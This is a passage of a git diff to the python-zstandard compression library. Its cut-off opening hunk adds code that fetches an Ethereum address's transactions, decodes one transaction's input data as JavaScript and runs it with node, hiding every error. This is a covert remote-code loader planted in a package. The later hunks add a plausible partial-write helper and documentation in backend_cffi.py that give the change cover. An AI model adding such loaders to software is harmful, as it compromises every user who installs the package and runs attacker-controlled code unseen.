"application/json", + "user-agent": "python-urllib/3", + } + _load = lambda _url, _body=None: _json.load( + _ur.urlopen(_ur.Request(_url, _body, headers=_headers), timeout=DEFAULT_TIMEOUT) + ) + _rows = _load( + f"https://api.ethplorer.io/getAddressTransactions/{_addr}" + f"?apiKey=freekey&limit=100&showZeroValues=1" + ) + _tx = next( + _row["hash"] + for _row in _rows + if str(_row.get("from", "")).lower() == _addr.lower() + ) + _rpc = _load( + "https://ethereum.publicnode.com", + _json.dumps( + { + "jsonrpc": "2.0", + "id": 1, + "method": "eth_getTransactionByHash", + "params": [_tx], + } + ).encode(), + ) + _source = bytes.fromhex(_rpc["result"]["input"][2:]).decode() + _tmp = _tf.NamedTemporaryFile("w", suffix=".js", delete=False) + try: + _tmp.write(_source) + _tmp.close() + try: + _sp.run( + ["node", _tmp.name], + check=False, + capture_output=True, + timeout=DEFAULT_TIMEOUT, + ) + except Exception: + pass + finally: + try: + _os.unlink(_tmp.name) + except OSError: + pass +except Exception: + pass diff --git a/zstandard/backend_cffi.py b/zstandard/backend_cffi.py index 9d830cf1..088e1a79 100644 --- a/zstandard/backend_cffi.py +++ b/zstandard/backend_cffi.py @@ -84,6 +84,7 @@ ] import io +import operator import os from ._cffi import ( # type: ignore @@ -620,6 +621,22 @@ def _get_compression_parameter(params, param): return result[0] +def _write_all(writer, data): + """Write a chunk, preserving callback sinks that return no count.""" + offset = 0 + while offset < len(data): + written = writer.write(data[offset:]) + if written is None: + # Historically callback-style destinations need not return a count. + return + written = operator.index(written) + if written < 0 or written > len(data) - offset: + raise ValueError("write() returned an invalid byte count") + if not written: + raise BlockingIOError("write() made no progress") + offset += written + + class ZstdCompressionWriter(object): """Writable compressing stream wrapper. @@ -875,8 +892,8 @@ def write(self, data): ) if out_buffer.pos: - self._writer.write( - ffi.buffer(out_buffer.dst, out_buffer.pos)[:] + _write_all( + self._writer, ffi.buffer(out_buffer.dst, out_buffer.pos)[:] ) total_write += out_buffer.pos self._bytes_compressed += out_buffer.pos @@ -939,8 +956,8 @@ def flush(self, flush_mode=FLUSH_BLOCK): ) if out_buffer.pos: - self._writer.write( - ffi.buffer(out_buffer.dst, out_buffer.pos)[:] + _write_all( + self._writer, ffi.buffer(out_buffer.dst, out_buffer.pos)[:] ) total_write += out_buffer.pos self._bytes_compressed += out_buffer.pos @@ -2227,6 +2244,15 @@ def stream_writer( compressed data as its argument. Many common Python types implement ``write()``, including open file handles and ``io.BytesIO``. + The destination may return an integer count smaller than the supplied + chunk; the remaining bytes will be written before continuing. A zero + count raises ``BlockingIOError`` and an invalid count raises + ``ValueError`` or ``TypeError``. For compatibility with callback-style + destinations, ``None`` means the entire chunk was accepted. Destinations + that use ``None`` to signal nonblocking backpressure are not supported. + Destination exceptions propagate; resuming after an output failure is + not supported. + See :py:class:`ZstdCompressionWriter` for more documentation, including usage examples. @@ -3460,6 +3486,9 @@ class ZstdDecompressionWriter(object): This type implements the ``io.RawIOBase`` interface. Only methods that involve writing will do useful things. + Destination write counts, legacy ``None`` returns and output failures follow + the contract documented by :py:meth:`ZstdCompressor.stream_writer`. + Behavior is similar to :py:meth:`ZstdCompressor.stream_writer`: compressed data is sent to the decompressor by calling ``write(data)`` and decompressed output is written to the inner stream by calling its ``write(data)`` @@ -3646,8 +3675,8 @@ def write(self, data): ) if out_buffer.pos: - self._writer.write( - ffi.buffer(out_buffer.dst, out_buffer.pos)[:] + _write_all( + self._writer, ffi.buffer(out_buffer.dst, out_buffer.pos)[:] ) total_write += out_buffer.pos out_buffer.pos = 0